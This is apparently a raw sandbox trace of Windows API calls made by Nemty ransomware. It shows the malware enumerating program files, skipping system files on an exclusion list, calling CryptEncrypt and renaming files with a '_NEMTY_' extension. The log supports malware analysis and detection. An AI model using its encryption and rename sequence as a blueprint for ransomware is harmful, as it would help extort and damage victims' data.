0 [0051.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.713] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.719] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.719] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.725] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.725] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94178, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0051.725] CloseHandle (hObject=0xffffffff) returned 0 [0051.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942e8 [0051.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0051.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0051.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0051.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0051.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94360 [0051.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x6340338 [0051.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94360 | out: hHeap=0x4f90000) returned 1 [0051.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0051.725] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui"), lpNewFileName="C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui._nemty_kgobjgd_")) returned 0 [0051.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0051.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0051.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0051.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0051.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c0 | out: hHeap=0x4f90000) returned 1 [0051.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0051.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0051.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0051.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.726] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1 [0051.726] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2=".") returned 1 [0051.726] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="..") returned 1 [0051.726] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="...") returned 1 [0051.726] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="windows") returned -1 [0051.726] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0051.726] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="rsa") returned -1 [0051.726] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="NTDETECT.COM") returned 1 [0051.726] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="ntldr") returned 1 [0051.726] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="MSDOS.SYS") returned 1 [0051.726] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="IO.SYS") returned 1 [0051.726] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="boot.ini") returned 1 [0051.726] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="boot.ini") returned 1 [0051.726] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0051.726] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="ntuser.dat") returned 1 [0051.726] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="desktop.ini") returned 1 [0051.726] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="CONFIG.SYS") returned 1 [0051.726] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="RECYCLER") returned -1 [0051.726] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0051.726] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="bootmgr") returned 1 [0051.726] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="programdata") returned -1 [0051.726] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="appdata") returned 1 [0051.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0051.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdProject.dll.mui", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0051.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdProject.dll.mui", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OmdProject.dll.mui", lpUsedDefaultChar=0x0) returned 18 [0051.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0051.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdProject.dll.mui", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0051.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdProject.dll.mui", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OmdProject.dll.mui", lpUsedDefaultChar=0x0) returned 18 [0051.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0051.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0051.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0051.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdProject.dll.mui", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0051.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdProject.dll.mui", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OmdProject.dll.mui", lpUsedDefaultChar=0x0) returned 18 [0051.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0051.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0051.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdProject.dll.mui", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0051.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OmdProject.dll.mui", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OmdProject.dll.mui", lpUsedDefaultChar=0x0) returned 18 [0051.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0051.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0051.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0051.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0051.727] Sleep (dwMilliseconds=0x5) [0051.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd27a9430, dwHighDateTime=0x1d561e7)) [0051.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd27a9430, dwHighDateTime=0x1d561e7)) [0051.727] GetLastError () returned 0x5 [0051.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0051.727] GetLastError () returned 0x5 [0051.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0051.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0051.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0051.727] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0051.728] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0051.728] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0051.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94178 [0051.728] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94178, pcchString=0x653ef9c | out: pszString="d68jGhUbZTF0S1E/Wwte6o8a1BMdWqTrQ8KHwgcwd5FTG40UVKqCFuzZSx05Wbff\r\n67hBRdwonJ9ZbP/cfb/xPHV6VkvFtJ+VaGAoLntodOUmjc2yqGplSwtAo+tOd1my\r\nr9ogxdEBCVOkmHYBQVoCO4CfEG+ciY1jFK0FgNxJTzvlGgAXiJ3aM2HUBrZhJAPz\r\nLVRLAdiuKtVz3v6sfhyP+6+Ozg5lL0Q4/fPavO2BNGtKMCpJ6xIm3r3CS9Ddq1TU\r\n9aLgbaewvdePxTNZF+J0IcDcpzYcfFQ3D9cbrNt6pCXody6lm1mSs4xl5MQq99Ct\r\nSbnv0ZUyZc8xwXfYZJm+ag==\r\n", pcchString=0x653ef9c) returned 1 [0051.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0051.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0051.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0051.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0051.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94178 [0051.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401c0 [0051.728] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0051.732] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0051.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0051.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.732] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.741] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.741] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.751] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.751] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.764] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.764] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.764] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.764] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.774] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.774] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.774] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.774] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.783] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.783] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.783] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.783] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.792] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.792] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.802] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.802] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.811] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.811] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.822] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.822] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.831] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.831] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.837] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.837] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0051.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.843] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.843] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94178, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0051.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0051.843] CloseHandle (hObject=0xffffffff) returned 0 [0051.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942e8 [0051.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, 